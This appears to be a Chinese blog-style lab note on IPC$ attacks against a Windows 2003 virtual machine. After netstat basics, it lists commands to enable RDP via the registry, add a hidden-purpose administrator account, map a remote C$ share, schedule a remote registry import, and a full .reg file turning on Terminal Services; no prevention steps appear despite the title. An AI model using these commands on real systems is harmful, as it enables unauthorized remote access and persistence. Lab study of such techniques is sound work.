IPC$ 测试与防范

物理机系统：Win7

虚拟机系统：Win2003

Netstat –an 查看本机端口

Netstat –ano 查看本机端口+PID

通过本机上操作（比如登录网站），然后命令，查看对方IP以及端口

首先使用360极速浏览器插件查看本机ip

本机IPv6地址（临时）,感觉很屌！！！！

网页访问百度之后

百度IP

Netstat –ano查看

内部地址转外部地址

出现问题：本地地址访问的百度是172.19.166.5，但是没有172.19.166.5与外部地址的转换，初步怀疑是IPv6，但是百度ip显示的是

很是疑惑。

查看是哪个进程 ---- Tasklist

正题之一

命令行开启3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

命令： net user 帐号密码 /add –创建帐号的命令

net localgroup administrators 帐号 /add --提升管理员命令

net use 查询ipc链接

　　　 net time \\IP ---查询时间

360，你为何如此的屌！！！

结果：

net use q: \\IP地址\c$ --- 将远程IP的c盘映射到本机q盘

结果：

at \\IP 时间 regedit /s 路径 ---注册表导入命令

（打开3389端口）

注册表内容：

 1 Windows Registry Editor Version 5.00
 2 
 3 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
 4 "Enabled"="0"
 5 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
 6 "ShutdownWithoutLogon"="0"
 7 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
 8 "EnableAdminTSRemote"=dword:00000001 
 9 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
10 "TSEnabled"=dword:00000001
11 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
12 "Start"=dword:00000002 
13 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
14 "Start"=dword:00000002
15 [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] 
16 "Hotkey"="1"
17 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] 
18 "PortNumber"=dword:00000D3D
19 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
20 "PortNumber"=dword:00000D3D